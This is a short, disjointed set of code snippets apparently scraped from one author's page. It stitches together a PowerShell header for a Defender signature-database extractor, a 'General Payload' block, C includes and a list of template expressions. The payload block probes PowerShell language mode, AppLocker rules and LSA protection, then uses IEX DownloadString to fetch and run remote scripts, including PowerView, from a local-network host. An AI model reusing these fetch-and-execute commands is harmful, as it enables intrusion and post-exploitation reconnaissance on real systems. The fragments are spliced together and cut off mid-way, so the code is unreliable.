ImaginaryBIT

filter Expand-DefenderAVSignatureDB {
<#
.SYNOPSIS

Decompresses a Windows Defender AV signature database (.VDM file).

.DESCRIPTION

Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.

ImaginaryBIT

# General Payload  
```powershell
$ExecutionContext.SessionState.LanguageMode
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
dir C:\Windows\Microsoft.Net\Framework64
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
  
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/apple.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/loadDLL64.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerView.ps1");

ImaginaryBIT

#define _XOPEN_SOURCE 600
#define _BSD_SOURCE

#include <unistd.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/select.h>
#include <stdlib.h>
#include <stdio.h>

ImaginaryBIT

${0 }
${0 == pageList.maxPage}
${1}
${1 eq currentPageNumber }
${5}
${5/6}
${a+1 }
${a.academyName}
${a.academyNumber}
${academyNumber==a.academyNumber}